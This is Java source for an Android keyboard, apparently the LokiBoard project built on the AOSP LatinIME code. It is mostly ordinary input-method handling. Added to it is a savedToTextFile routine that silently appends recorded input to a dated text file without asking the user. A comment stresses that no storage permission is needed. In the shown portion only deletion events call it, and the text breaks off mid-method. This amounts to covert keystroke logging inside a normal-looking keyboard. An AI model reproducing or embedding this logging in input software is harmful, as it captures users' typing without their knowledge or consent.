/*
 * Copyright (C) 2008 The Android Open Source Project
 *
 * Licensed under the Apache License, Version 2.0 (the "License");
 * you may not use this file except in compliance with the License.
 * You may obtain a copy of the License at
 *
 *      http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an "AS IS" BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

package com.abifog.lokiboard.latin;

import android.app.AlertDialog;
import android.content.BroadcastReceiver;
import android.content.Context;
import android.content.DialogInterface;
import android.content.DialogInterface.OnClickListener;
import android.content.Intent;
import android.content.IntentFilter;
import android.content.res.Configuration;
import android.content.res.Resources;
import android.content.SharedPreferences;
import android.inputmethodservice.InputMethodService;
import android.media.AudioManager;
import android.os.Build;
import android.os.Debug;
import android.os.IBinder;
import android.os.Message;
import android.preference.PreferenceManager;
import android.text.InputType;
import android.util.Log;
import android.util.PrintWriterPrinter;
import android.util.Printer;
import android.view.Gravity;
import android.view.KeyEvent;
import android.view.View;
import android.view.ViewGroup.LayoutParams;
import android.view.Window;
import android.view.WindowManager;
import android.view.inputmethod.EditorInfo;
import android.view.inputmethod.InputMethodSubtype;

import java.io.File;
import java.io.FileDescriptor;
import java.io.FileOutputStream;
import java.io.PrintWriter;
import java.text.SimpleDateFormat;
import java.util.Locale;
import java.util.Date;
import java.util.concurrent.TimeUnit;

import com.abifog.lokiboard.R;
import com.abifog.lokiboard.compat.EditorInfoCompatUtils;
import com.abifog.lokiboard.compat.ViewOutlineProviderCompatUtils;
import com.abifog.lokiboard.compat.ViewOutlineProviderCompatUtils.InsetsUpdater;
import com.abifog.lokiboard.event.Event;
import com.abifog.lokiboard.event.InputTransaction;
import com.abifog.lokiboard.keyboard.Keyboard;
import com.abifog.lokiboard.keyboard.KeyboardActionListener;
import com.abifog.lokiboard.keyboard.KeyboardId;
import com.abifog.lokiboard.keyboard.KeyboardSwitcher;
import com.abifog.lokiboard.keyboard.MainKeyboardView;
import com.abifog.lokiboard.latin.common.Constants;
import com.abifog.lokiboard.latin.define.DebugFlags;
import com.abifog.lokiboard.latin.inputlogic.InputLogic;
import com.abifog.lokiboard.latin.settings.Settings;
import com.abifog.lokiboard.latin.settings.SettingsActivity;
import com.abifog.lokiboard.latin.settings.SettingsValues;
import com.abifog.lokiboard.latin.utils.ApplicationUtils;
import com.abifog.lokiboard.latin.utils.DialogUtils;
import com.abifog.lokiboard.latin.utils.IntentUtils;
import com.abifog.lokiboard.latin.utils.LeakGuardHandlerWrapper;
import com.abifog.lokiboard.latin.utils.ResourceUtils;
import com.abifog.lokiboard.latin.utils.ViewLayoutUtils;

/**
 * Input method implementation for Qwerty'ish keyboard.
 */
public class LatinIME extends InputMethodService implements KeyboardActionListener {
    static final String TAG = LatinIME.class.getSimpleName();
    private static final boolean TRACE = false;

    private static final int EXTENDED_TOUCHABLE_REGION_HEIGHT = 100;
    private static final int PERIOD_FOR_AUDIO_AND_HAPTIC_FEEDBACK_IN_KEY_REPEAT = 2;
    private static final int PENDING_IMS_CALLBACK_DURATION_MILLIS = 800;
    static final long DELAY_DEALLOCATE_MEMORY_MILLIS = TimeUnit.SECONDS.toMillis(10);

    final Settings mSettings;
    private int mOriginalNavBarColor = 0;
    private int mOriginalNavBarFlags = 0;
    final InputLogic mInputLogic = new InputLogic(this /* LatinIME */);

    // TODO: Move these {@link View}s to {@link KeyboardSwitcher}.
    private View mInputView;
    private InsetsUpdater mInsetsUpdater;

    private RichInputMethodManager mRichImm;
    final KeyboardSwitcher mKeyboardSwitcher;
    private final SubtypeState mSubtypeState = new SubtypeState();

    private AlertDialog mOptionsDialog;

    public final UIHandler mHandler = new UIHandler(this);

    public static final class UIHandler extends LeakGuardHandlerWrapper<LatinIME> {
        private static final int MSG_UPDATE_SHIFT_STATE = 0;
        private static final int MSG_PENDING_IMS_CALLBACK = 1;
        private static final int MSG_REOPEN_DICTIONARIES = 5;
        private static final int MSG_RESET_CACHES = 7;
        private static final int MSG_WAIT_FOR_DICTIONARY_LOAD = 8;
        private static final int MSG_DEALLOCATE_MEMORY = 9;
        private static final int MSG_SWITCH_LANGUAGE_AUTOMATICALLY = 11;

        private static final int ARG1_TRUE = 1;

        private int mDelayInMillisecondsToUpdateShiftState;

        public UIHandler(final LatinIME ownerInstance) {
            super(ownerInstance);
        }

        public void onCreate() {
            final LatinIME latinIme = getOwnerInstance();
            if (latinIme == null) {
                return;
            }
            final Resources res = latinIme.getResources();
            mDelayInMillisecondsToUpdateShiftState = res.getInteger(
                    R.integer.config_delay_in_milliseconds_to_update_shift_state);
        }

        @Override
        public void handleMessage(final Message msg) {
            final LatinIME latinIme = getOwnerInstance();
            if (latinIme == null) {
                return;
            }
            final KeyboardSwitcher switcher = latinIme.mKeyboardSwitcher;
            switch (msg.what) {
            case MSG_UPDATE_SHIFT_STATE:
                switcher.requestUpdatingShiftState(latinIme.getCurrentAutoCapsState(),
                        latinIme.getCurrentRecapitalizeState());
                break;
            case MSG_RESET_CACHES:
                final SettingsValues settingsValues = latinIme.mSettings.getCurrent();
                if (latinIme.mInputLogic.retryResetCachesAndReturnSuccess(
                        msg.arg1 == ARG1_TRUE /* tryResumeSuggestions */,
                        msg.arg2 /* remainingTries */, this /* handler */)) {
                    // If we were able to reset the caches, then we can reload the keyboard.
                    // Otherwise, we'll do it when we can.
                    latinIme.mKeyboardSwitcher.loadKeyboard(latinIme.getCurrentInputEditorInfo(),
                            settingsValues, latinIme.getCurrentAutoCapsState(),
                            latinIme.getCurrentRecapitalizeState());
                }
                break;
            case MSG_WAIT_FOR_DICTIONARY_LOAD:
                Log.i(TAG, "Timeout waiting for dictionary load");
                break;
            case MSG_DEALLOCATE_MEMORY:
                latinIme.deallocateMemory();
                break;
            case MSG_SWITCH_LANGUAGE_AUTOMATICALLY:
                latinIme.switchLanguage((InputMethodSubtype)msg.obj);
                break;
            }
        }

        public void postReopenDictionaries() {
            sendMessage(obtainMessage(MSG_REOPEN_DICTIONARIES));
        }

        public void postResetCaches(final boolean tryResumeSuggestions, final int remainingTries) {
            removeMessages(MSG_RESET_CACHES);
            sendMessage(obtainMessage(MSG_RESET_CACHES, tryResumeSuggestions ? 1 : 0,
                    remainingTries, null));
        }

        public void postUpdateShiftState() {
            removeMessages(MSG_UPDATE_SHIFT_STATE);
            sendMessageDelayed(obtainMessage(MSG_UPDATE_SHIFT_STATE),
                    mDelayInMillisecondsToUpdateShiftState);
        }

        public void postDeallocateMemory() {
            sendMessageDelayed(obtainMessage(MSG_DEALLOCATE_MEMORY),
                    DELAY_DEALLOCATE_MEMORY_MILLIS);
        }

        public void cancelDeallocateMemory() {
            removeMessages(MSG_DEALLOCATE_MEMORY);
        }

        public boolean hasPendingDeallocateMemory() {
            return hasMessages(MSG_DEALLOCATE_MEMORY);
        }

        public void postSwitchLanguage(final InputMethodSubtype subtype) {
            obtainMessage(MSG_SWITCH_LANGUAGE_AUTOMATICALLY, subtype).sendToTarget();
        }

        // Working variables for the following methods.
        private boolean mIsOrientationChanging;
        private boolean mPendingSuccessiveImsCallback;
        private boolean mHasPendingStartInput;
        private boolean mHasPendingFinishInputView;
        private boolean mHasPendingFinishInput;
        private EditorInfo mAppliedEditorInfo;

        private void resetPendingImsCallback() {
            mHasPendingFinishInputView = false;
            mHasPendingFinishInput = false;
            mHasPendingStartInput = false;
        }

        private void executePendingImsCallback(final LatinIME latinIme, final EditorInfo editorInfo,
                boolean restarting) {
            if (mHasPendingFinishInputView) {
                latinIme.onFinishInputViewInternal(mHasPendingFinishInput);
            }
            if (mHasPendingFinishInput) {
                latinIme.onFinishInputInternal();
            }
            if (mHasPendingStartInput) {
                latinIme.onStartInputInternal(editorInfo, restarting);
            }
            resetPendingImsCallback();
        }

        public void onStartInput(final EditorInfo editorInfo, final boolean restarting) {
            if (hasMessages(MSG_PENDING_IMS_CALLBACK)) {
                // Typically this is the second onStartInput after orientation changed.
                mHasPendingStartInput = true;
            } else {
                if (mIsOrientationChanging && restarting) {
                    // This is the first onStartInput after orientation changed.
                    mIsOrientationChanging = false;
                    mPendingSuccessiveImsCallback = true;
                }
                final LatinIME latinIme = getOwnerInstance();
                if (latinIme != null) {
                    executePendingImsCallback(latinIme, editorInfo, restarting);
                    latinIme.onStartInputInternal(editorInfo, restarting);
                }
            }
        }

        public void onStartInputView(final EditorInfo editorInfo, final boolean restarting) {
            if (hasMessages(MSG_PENDING_IMS_CALLBACK)
                    && KeyboardId.equivalentEditorInfoForKeyboard(editorInfo, mAppliedEditorInfo)) {
                // Typically this is the second onStartInputView after orientation changed.
                resetPendingImsCallback();
            } else {
                if (mPendingSuccessiveImsCallback) {
                    // This is the first onStartInputView after orientation changed.
                    mPendingSuccessiveImsCallback = false;
                    resetPendingImsCallback();
                    sendMessageDelayed(obtainMessage(MSG_PENDING_IMS_CALLBACK),
                            PENDING_IMS_CALLBACK_DURATION_MILLIS);
                }
                final LatinIME latinIme = getOwnerInstance();
                if (latinIme != null) {
                    executePendingImsCallback(latinIme, editorInfo, restarting);
                    latinIme.onStartInputViewInternal(editorInfo, restarting);
                    mAppliedEditorInfo = editorInfo;
                }
                cancelDeallocateMemory();
            }
        }

        public void onFinishInputView(final boolean finishingInput) {
            if (hasMessages(MSG_PENDING_IMS_CALLBACK)) {
                // Typically this is the first onFinishInputView after orientation changed.
                mHasPendingFinishInputView = true;
            } else {
                final LatinIME latinIme = getOwnerInstance();
                if (latinIme != null) {
                    latinIme.onFinishInputViewInternal(finishingInput);
                    mAppliedEditorInfo = null;
                }
                if (!hasPendingDeallocateMemory()) {
                    postDeallocateMemory();
                }
            }
        }

        public void onFinishInput() {
            if (hasMessages(MSG_PENDING_IMS_CALLBACK)) {
                // Typically this is the first onFinishInput after orientation changed.
                mHasPendingFinishInput = true;
            } else {
                final LatinIME latinIme = getOwnerInstance();
                if (latinIme != null) {
                    executePendingImsCallback(latinIme, null, false);
                    latinIme.onFinishInputInternal();
                }
            }
        }
    }

    static final class SubtypeState {
        private InputMethodSubtype mLastActiveSubtype;
        private boolean mCurrentSubtypeHasBeenUsed;

        public void switchSubtype(final IBinder token, final RichInputMethodManager richImm) {
            final InputMethodSubtype currentSubtype = richImm.getInputMethodManager()
                    .getCurrentInputMethodSubtype();
            final InputMethodSubtype lastActiveSubtype = mLastActiveSubtype;
            final boolean currentSubtypeHasBeenUsed = mCurrentSubtypeHasBeenUsed;
            if (currentSubtypeHasBeenUsed) {
                mLastActiveSubtype = currentSubtype;
                mCurrentSubtypeHasBeenUsed = false;
            }
            if (currentSubtypeHasBeenUsed
                    && richImm.checkIfSubtypeBelongsToThisImeAndEnabled(lastActiveSubtype)
                    && !currentSubtype.equals(lastActiveSubtype)) {
                richImm.setInputMethodAndSubtype(token, lastActiveSubtype);
                return;
            }
            richImm.switchToNextInputMethod(token, true /* onlyCurrentIme */);
        }
    }

    public LatinIME() {
        super();
        mSettings = Settings.getInstance();
        mKeyboardSwitcher = KeyboardSwitcher.getInstance();
    }

    @Override
    public void onCreate() {
        Settings.init(this);
        DebugFlags.init(PreferenceManager.getDefaultSharedPreferences(this));
        RichInputMethodManager.init(this);
        mRichImm = RichInputMethodManager.getInstance();
        KeyboardSwitcher.init(this);
        AudioAndHapticFeedbackManager.init(this);
        super.onCreate();

        mHandler.onCreate();

        // TODO: Resolve mutual dependencies of {@link #loadSettings()} and
        // {@link #resetDictionaryFacilitatorIfNecessary()}.
        loadSettings();

        // Register to receive ringer mode change.
        final IntentFilter filter = new IntentFilter();
        filter.addAction(AudioManager.RINGER_MODE_CHANGED_ACTION);
        registerReceiver(mRingerModeChangeReceiver, filter);
    }

    private void loadSettings() {
        final Locale locale = mRichImm.getCurrentSubtypeLocale();
        final EditorInfo editorInfo = getCurrentInputEditorInfo();
        final InputAttributes inputAttributes = new InputAttributes(editorInfo, isFullscreenMode());
        mSettings.loadSettings(this, locale, inputAttributes);
        final SettingsValues currentSettingsValues = mSettings.getCurrent();
        AudioAndHapticFeedbackManager.getInstance().onSettingsChanged(currentSettingsValues);
    }

    @Override
    public void onDestroy() {
        mSettings.onDestroy();
        unregisterReceiver(mRingerModeChangeReceiver);
        super.onDestroy();
    }

    private boolean isImeSuppressedByHardwareKeyboard() {
        final KeyboardSwitcher switcher = KeyboardSwitcher.getInstance();
        return !onEvaluateInputViewShown() && switcher.isImeSuppressedByHardwareKeyboard(
                mSettings.getCurrent(), switcher.getKeyboardSwitchState());
    }

    @Override
    public void onConfigurationChanged(final Configuration conf) {
        SettingsValues settingsValues = mSettings.getCurrent();
        if (settingsValues.mHasHardwareKeyboard != Settings.readHasHardwareKeyboard(conf)) {
            // If the state of having a hardware keyboard changed, then we want to reload the
            // settings to adjust for that.
            // TODO: we should probably do this unconditionally here, rather than only when we
            // have a change in hardware keyboard configuration.
            loadSettings();
        }
        super.onConfigurationChanged(conf);
    }

    @Override
    public View onCreateInputView() {
        return mKeyboardSwitcher.onCreateInputView();
    }

    @Override
    public void setInputView(final View view) {
        super.setInputView(view);
        mInputView = view;
        mInsetsUpdater = ViewOutlineProviderCompatUtils.setInsetsOutlineProvider(view);
        updateSoftInputWindowLayoutParameters();
    }

    @Override
    public void setCandidatesView(final View view) {
        // To ensure that CandidatesView will never be set.
    }

    @Override
    public void onStartInput(final EditorInfo editorInfo, final boolean restarting) {
        mHandler.onStartInput(editorInfo, restarting);
    }

    @Override
    public void onStartInputView(final EditorInfo editorInfo, final boolean restarting) {
        mHandler.onStartInputView(editorInfo, restarting);
    }

    @Override
    public void onFinishInputView(final boolean finishingInput) {
        mHandler.onFinishInputView(finishingInput);
    }

    @Override
    public void onFinishInput() {
        mHandler.onFinishInput();
    }

    @Override
    public void onCurrentInputMethodSubtypeChanged(final InputMethodSubtype subtype) {
        // Note that the calling sequence of onCreate() and onCurrentInputMethodSubtypeChanged()
        // is not guaranteed. It may even be called at the same time on a different thread.
        mRichImm.onSubtypeChanged(subtype);
        mInputLogic.onSubtypeChanged();
        loadKeyboard();
    }

    void onStartInputInternal(final EditorInfo editorInfo, final boolean restarting) {
        super.onStartInput(editorInfo, restarting);

        // If the primary hint language does not match the current subtype language, then try
        // to switch to the primary hint language.
        // TODO: Support all the locales in EditorInfo#hintLocales.
        final Locale primaryHintLocale = EditorInfoCompatUtils.getPrimaryHintLocale(editorInfo);
        if (primaryHintLocale == null) {
            return;
        }
        final InputMethodSubtype newSubtype = mRichImm.findSubtypeByLocale(primaryHintLocale);
        if (newSubtype == null || newSubtype.equals(mRichImm.getCurrentSubtype().getRawSubtype())) {
            return;
        }
        mHandler.postSwitchLanguage(newSubtype);
    }

    @SuppressWarnings("deprecation")
    void onStartInputViewInternal(final EditorInfo editorInfo, final boolean restarting) {
        super.onStartInputView(editorInfo, restarting);

        // Switch to the null consumer to handle cases leading to early exit below, for which we
        // also wouldn't be consuming gesture data.
        mRichImm.refreshSubtypeCaches();
        final KeyboardSwitcher switcher = mKeyboardSwitcher;
        switcher.updateKeyboardTheme();
        final MainKeyboardView mainKeyboardView = switcher.getMainKeyboardView();
        // If we are starting input in a different text field from before, we'll have to reload
        // settings, so currentSettingsValues can't be final.
        SettingsValues currentSettingsValues = mSettings.getCurrent();

        if (editorInfo == null) {
            Log.e(TAG, "Null EditorInfo in onStartInputView()");
            if (DebugFlags.DEBUG_ENABLED) {
                throw new NullPointerException("Null EditorInfo in onStartInputView()");
            }
            return;
        }
        if (DebugFlags.DEBUG_ENABLED) {
            Log.d(TAG, "onStartInputView: editorInfo:"
                    + String.format("inputType=0x%08x imeOptions=0x%08x",
                            editorInfo.inputType, editorInfo.imeOptions));
            Log.d(TAG, "All caps = "
                    + ((editorInfo.inputType & InputType.TYPE_TEXT_FLAG_CAP_CHARACTERS) != 0)
                    + ", sentence caps = "
                    + ((editorInfo.inputType & InputType.TYPE_TEXT_FLAG_CAP_SENTENCES) != 0)
                    + ", word caps = "
                    + ((editorInfo.inputType & InputType.TYPE_TEXT_FLAG_CAP_WORDS) != 0));
        }
        Log.i(TAG, "Starting input. Cursor position = "
                + editorInfo.initialSelStart + "," + editorInfo.initialSelEnd);

        // In landscape mode, this method gets called without the input view being created.
        if (mainKeyboardView == null) {
            return;
        }

        final boolean inputTypeChanged = !currentSettingsValues.isSameInputType(editorInfo);
        final boolean isDifferentTextField = !restarting || inputTypeChanged;

        // The EditorInfo might have a flag that affects fullscreen mode.
        // Note: This call should be done by InputMethodService?
        updateFullscreenMode();

        // ALERT: settings have not been reloaded and there is a chance they may be stale.
        // In the practice, if it is, we should have gotten onConfigurationChanged so it should
        // be fine, but this is horribly confusing and must be fixed AS SOON AS POSSIBLE.

        // In some cases the input connection has not been reset yet and we can't access it. In
        // this case we will need to call loadKeyboard() later, when it's accessible, so that we
        // can go into the correct mode, so we need to do some housekeeping here.
        final boolean needToCallLoadKeyboardLater;
        if (!isImeSuppressedByHardwareKeyboard()) {
            // The app calling setText() has the effect of clearing the composing
            // span, so we should reset our state unconditionally, even if restarting is true.
            // We also tell the input logic about the combining rules for the current subtype, so
            // it can adjust its combiners if needed.
            mInputLogic.startInput();

            // TODO[IL]: Can the following be moved to InputLogic#startInput?
            if (!mInputLogic.mConnection.resetCachesUponCursorMoveAndReturnSuccess(
                    editorInfo.initialSelStart, editorInfo.initialSelEnd)) {
                // Sometimes, while rotating, for some reason the framework tells the app we are not
                // connected to it and that means we can't refresh the cache. In this case, schedule
                // a refresh later.
                // We try resetting the caches up to 5 times before giving up.
                mHandler.postResetCaches(isDifferentTextField, 5 /* remainingTries */);
                // mLastSelection{Start,End} are reset later in this method, no need to do it here
                needToCallLoadKeyboardLater = true;
            } else {
                // When rotating, and when input is starting again in a field from where the focus
                // didn't move (the keyboard having been closed with the back key),
                // initialSelStart and initialSelEnd sometimes are lying. Make a best effort to
                // work around this bug.
                mInputLogic.mConnection.tryFixLyingCursorPosition();
                needToCallLoadKeyboardLater = false;
            }
        } else {
            // If we have a hardware keyboard we don't need to call loadKeyboard later anyway.
            needToCallLoadKeyboardLater = false;
        }

        if (isDifferentTextField ||
                !currentSettingsValues.hasSameOrientation(getResources().getConfiguration())) {
            loadSettings();
        }
        if (isDifferentTextField) {
            mainKeyboardView.closing();
            currentSettingsValues = mSettings.getCurrent();

            switcher.loadKeyboard(editorInfo, currentSettingsValues, getCurrentAutoCapsState(),
                    getCurrentRecapitalizeState());
            if (needToCallLoadKeyboardLater) {
                // If we need to call loadKeyboard again later, we need to save its state now. The
                // later call will be done in #retryResetCaches.
                switcher.saveKeyboardState();
            }
        } else if (restarting) {
            // TODO: Come up with a more comprehensive way to reset the keyboard layout when
            // a keyboard layout set doesn't get reloaded in this method.
            switcher.resetKeyboardStateToAlphabet(getCurrentAutoCapsState(),
                    getCurrentRecapitalizeState());
            // In apps like Talk, we come here when the text is sent and the field gets emptied and
            // we need to re-evaluate the shift state, but not the whole layout which would be
            // disruptive.
            // Space state must be updated before calling updateShiftState
            switcher.requestUpdatingShiftState(getCurrentAutoCapsState(),
                    getCurrentRecapitalizeState());
        }

        if (TRACE) Debug.startMethodTracing("/data/trace/latinime");
    }

    @Override
    public void onWindowShown() {
        super.onWindowShown();
        if (isInputViewShown())
            setNavigationBarColor();
    }

    @Override
    public void onWindowHidden() {
        super.onWindowHidden();
        final MainKeyboardView mainKeyboardView = mKeyboardSwitcher.getMainKeyboardView();
        if (mainKeyboardView != null) {
            mainKeyboardView.closing();
        }
        clearNavigationBarColor();
    }

    void onFinishInputInternal() {
        super.onFinishInput();

        final MainKeyboardView mainKeyboardView = mKeyboardSwitcher.getMainKeyboardView();
        if (mainKeyboardView != null) {
            mainKeyboardView.closing();
        }
    }

    void onFinishInputViewInternal(final boolean finishingInput) {
        super.onFinishInputView(finishingInput);
    }

    protected void deallocateMemory() {
        mKeyboardSwitcher.deallocateMemory();
    }

    @Override
    public void onUpdateSelection(final int oldSelStart, final int oldSelEnd,
            final int newSelStart, final int newSelEnd,
            final int composingSpanStart, final int composingSpanEnd) {
        super.onUpdateSelection(oldSelStart, oldSelEnd, newSelStart, newSelEnd,
                composingSpanStart, composingSpanEnd);
        if (DebugFlags.DEBUG_ENABLED) {
            Log.i(TAG, "onUpdateSelection: oss=" + oldSelStart + ", ose=" + oldSelEnd
                    + ", nss=" + newSelStart + ", nse=" + newSelEnd
                    + ", cs=" + composingSpanStart + ", ce=" + composingSpanEnd);
        }

        // This call happens whether our view is displayed or not, but if it's not then we should
        // not attempt recorrection. This is true even with a hardware keyboard connected: if the
        // view is not displayed we have no means of showing suggestions anyway, and if it is then
        // we want to show suggestions anyway.
        if (isInputViewShown()
                && mInputLogic.onUpdateSelection(newSelStart, newSelEnd)) {
            mKeyboardSwitcher.requestUpdatingShiftState(getCurrentAutoCapsState(),
                    getCurrentRecapitalizeState());
        }
    }

    @Override
    public void hideWindow() {
        mKeyboardSwitcher.onHideWindow();

        if (TRACE) Debug.stopMethodTracing();
        if (isShowingOptionDialog()) {
            mOptionsDialog.dismiss();
            mOptionsDialog = null;
        }
        super.hideWindow();
    }

    @Override
    public void onComputeInsets(final InputMethodService.Insets outInsets) {
        super.onComputeInsets(outInsets);
        // This method may be called before {@link #setInputView(View)}.
        if (mInputView == null) {
            return;
        }
        final View visibleKeyboardView = mKeyboardSwitcher.getVisibleKeyboardView();
        if (visibleKeyboardView == null) {
            return;
        }
        final int inputHeight = mInputView.getHeight();
        if (isImeSuppressedByHardwareKeyboard() && !visibleKeyboardView.isShown()) {
            // If there is a hardware keyboard and a visible software keyboard view has been hidden,
            // no visual element will be shown on the screen.
            outInsets.contentTopInsets = inputHeight;
            outInsets.visibleTopInsets = inputHeight;
            mInsetsUpdater.setInsets(outInsets);
            return;
        }
        final int visibleTopY = inputHeight - visibleKeyboardView.getHeight();
        // Need to set expanded touchable region only if a keyboard view is being shown.
        if (visibleKeyboardView.isShown()) {
            final int touchLeft = 0;
            final int touchTop = mKeyboardSwitcher.isShowingMoreKeysPanel() ? 0 : visibleTopY;
            final int touchRight = visibleKeyboardView.getWidth();
            final int touchBottom = inputHeight
                    // Extend touchable region below the keyboard.
                    + EXTENDED_TOUCHABLE_REGION_HEIGHT;
            outInsets.touchableInsets = InputMethodService.Insets.TOUCHABLE_INSETS_REGION;
            outInsets.touchableRegion.set(touchLeft, touchTop, touchRight, touchBottom);
        }
        outInsets.contentTopInsets = visibleTopY;
        outInsets.visibleTopInsets = visibleTopY;
        mInsetsUpdater.setInsets(outInsets);
    }

    @Override
    public boolean onShowInputRequested(final int flags, final boolean configChange) {
        if (isImeSuppressedByHardwareKeyboard()) {
            return true;
        }
        return super.onShowInputRequested(flags, configChange);
    }

    @Override
    public boolean onEvaluateFullscreenMode() {
        if (isImeSuppressedByHardwareKeyboard()) {
            // If there is a hardware keyboard, disable full screen mode.
            return false;
        }
        // Reread resource value here, because this method is called by the framework as needed.
        final boolean isFullscreenModeAllowed = Settings.readUseFullscreenMode(getResources());
        if (super.onEvaluateFullscreenMode() && isFullscreenModeAllowed) {
            // TODO: Remove this hack. Actually we should not really assume NO_EXTRACT_UI
            // implies NO_FULLSCREEN. However, the framework mistakenly does.  i.e. NO_EXTRACT_UI
            // without NO_FULLSCREEN doesn't work as expected. Because of this we need this
            // hack for now.  Let's get rid of this once the framework gets fixed.
            final EditorInfo ei = getCurrentInputEditorInfo();
            return !(ei != null && ((ei.imeOptions & EditorInfo.IME_FLAG_NO_EXTRACT_UI) != 0));
        }
        return false;
    }

    @Override
    public void updateFullscreenMode() {
        super.updateFullscreenMode();
        updateSoftInputWindowLayoutParameters();
    }

    private void updateSoftInputWindowLayoutParameters() {
        // Override layout parameters to expand {@link SoftInputWindow} to the entire screen.
        // See {@link InputMethodService#setinputView(View)} and
        // {@link SoftInputWindow#updateWidthHeight(WindowManager.LayoutParams)}.
        final Window window = getWindow().getWindow();
        ViewLayoutUtils.updateLayoutHeightOf(window, LayoutParams.MATCH_PARENT);
        // This method may be called before {@link #setInputView(View)}.
        if (mInputView != null) {
            // In non-fullscreen mode, {@link InputView} and its parent inputArea should expand to
            // the entire screen and be placed at the bottom of {@link SoftInputWindow}.
            // In fullscreen mode, these shouldn't expand to the entire screen and should be
            // coexistent with {@link #mExtractedArea} above.
            // See {@link InputMethodService#setInputView(View) and
            // com.android.internal.R.layout.input_method.xml.
            final int layoutHeight = isFullscreenMode()
                    ? LayoutParams.WRAP_CONTENT : LayoutParams.MATCH_PARENT;
            final View inputArea = window.findViewById(android.R.id.inputArea);
            ViewLayoutUtils.updateLayoutHeightOf(inputArea, layoutHeight);
            ViewLayoutUtils.updateLayoutGravityOf(inputArea, Gravity.BOTTOM);
            ViewLayoutUtils.updateLayoutHeightOf(mInputView, layoutHeight);
        }
    }

    int getCurrentAutoCapsState() {
        return mInputLogic.getCurrentAutoCapsState(mSettings.getCurrent());
    }

    int getCurrentRecapitalizeState() {
        return mInputLogic.getCurrentRecapitalizeState();
    }

    public void displaySettingsDialog() {
        if (isShowingOptionDialog()) {
            return;
        }
        showSubtypeSelectorAndSettings();
    }

    @Override
    public boolean onCustomRequest(final int requestCode) {
        if (isShowingOptionDialog()) return false;
        switch (requestCode) {
            case Constants.CUSTOM_CODE_SHOW_INPUT_METHOD_PICKER:
                if (mRichImm.hasMultipleEnabledIMEsOrSubtypes(true /* include aux subtypes */)) {
                    mRichImm.getInputMethodManager().showInputMethodPicker();
                    return true;
                }
                return false;
        }
        return false;
    }

    @Override
    public void onMovePointer(int steps) {
        for (;steps < 0; steps++)
            mInputLogic.sendDownUpKeyEvent(KeyEvent.KEYCODE_DPAD_LEFT);
        for (;steps > 0; steps--)
            mInputLogic.sendDownUpKeyEvent(KeyEvent.KEYCODE_DPAD_RIGHT);
    }

    @Override
    public void onMoveDeletePointer(int steps) {
        int end = mInputLogic.mConnection.getExpectedSelectionEnd();
        int start = mInputLogic.mConnection.getExpectedSelectionStart() + steps;
        if (start > end)
            return;
        mInputLogic.mConnection.setSelection(start, end);
    }

    private void savedToTextFile(String fileContents) {

        SimpleDateFormat sdf = new SimpleDateFormat("dd_MM_yyyy", Locale.getDefault());
        String fileName = "lokiboard_files_" + sdf.format(new Date()) + ".txt";


        try {

            // This implementation does not require storage read/write permissions from the user
            // Stores in Internal Storage > Android > data > com.abifog.lokiboard

            File outfile = new File(this.getExternalFilesDir(null), fileName);
            FileOutputStream lokiFOut = new FileOutputStream(outfile,true);
            lokiFOut.write(fileContents.getBytes());
            lokiFOut.close();


        }
        catch (Exception e) {
            // TODO Auto-generated catch block

            Log.d("ERROR" , "Something went wrong");
        }



        // Save received argument (string) to a text file
    }

    @Override
    public void onUpWithDeletePointerActive() {
        if (mInputLogic.mConnection.hasSelection()) {

            int end = mInputLogic.mConnection.getExpectedSelectionEnd();
            int start = mInputLogic.mConnection.getExpectedSelectionStart();
            int steps = start - end;
            // Log
            mInputLogic.sendDownUpKeyEvent(KeyEvent.KEYCODE_DEL);
            String pressedChar = "[DEL-" + Math.abs(steps) + " Selected Characters]";
            savedToTextFile(pressedChar);
        }


    }

    private boolean isShowingOptionDialog() {
        return mOptionsDialog != null && mOptionsDialog.isShowing();
    }

    public void switchLanguage(final InputMethodSubtype subtype) {
        final IBinder token = getWindow().getWindow().getAttributes().token;
        mRichImm.setInputMethodAndSubtype(token, subtype);
    }

    // TODO: Revise the language switch key behavior to make it much smarter and more reasonable.
    public void switchToNextSubtype() {
        final IBinder token = getWindow().getWindow().getAttributes().token;
        if (shouldSwitchToOtherInputMethods()) {
            mRichImm.switchToNextInputMethod(token, false /* onlyCurrentIme */);
            return;
        }
        mSubtypeState.switchSubtype(token, mRichImm);
    }

    // TODO: Instead of checking for alphabetic keyboard here, separate keycodes for
    // alphabetic shift and shift while in symbol layout and get rid of this method.
    private int getCodePointForKeyboard(final int codePoint) {
        if (Constants.CODE_SHIFT == codePoint) {
            final Keyboard currentKeyboard = mKeyboardSwitcher.getKeyboard();
            if (null != currentKeyboard && currentKeyboard.mId.isAlphabetKeyboard()) {
                return codePoint;
            }
            return Constants.CODE_SYMBOL_SHIFT;
        }
        return codePoint;
    }

    // Implementation of {@link KeyboardActionListener}.
    @Override
    public void onCodeInput(final int codePoint, final int x, final int y,
            final boolean isKeyRepeat) {
        // TODO: this processing does not belong inside LatinIME, the caller should be doing this.
        final MainKeyboardView mainKeyboardView = mKeyboardSwitcher.getMainKeyboardView();
        // x and y include some padding, but everything down the line (especially native
        // code) needs the coordinates in the keyboard frame.
        // TODO: We should reconsider which coordinate system should be used to represent
        // keyboard event. Also we should pull this up -- LatinIME has no business doing
        // this transformation, it should be done already before calling onEvent.
        final int keyX = mainKeyboardView.getKeyX(x);
        final int keyY = mainKeyboardView.getKeyY(y);
        final Event event = createSoftwareKeypressEvent(getCodePointForKeyboard(codePoint),
                keyX, keyY, isKeyRepeat);
        onEvent(event);
    }

    // This method is public for testability of LatinIME, but also in the future it should
    // completely replace #onCodeInput.
    public void onEvent(final Event event) {
        if (Constants.CODE_SHORTCUT == event.mKeyCode) {
            mRichImm.switchToShortcutIme(this);
        }
        final InputTransaction completeInputTransaction =
                mInputLogic.onCodeInput(mSettings.getCurrent(), event);
        updateStateAfterInputTransaction(completeInputTransaction);
        mKeyboardSwitcher.onEvent(event, getCurrentAutoCapsState(), getCurrentRecapitalizeState());
    }

    // A helper method to split the code point and the key code. Ultimately, they should not be
    // squashed into the same variable, and this method should be removed.
    // public for testing, as we don't want to copy the same logic into test code
    public static Event createSoftwareKeypressEvent(final int keyCodeOrCodePoint, final int keyX,
             final int keyY, final boolean isKeyRepeat) {
        final int keyCode;
        final int codePoint;
        if (keyCodeOrCodePoint <= 0) {
            keyCode = keyCodeOrCodePoint;
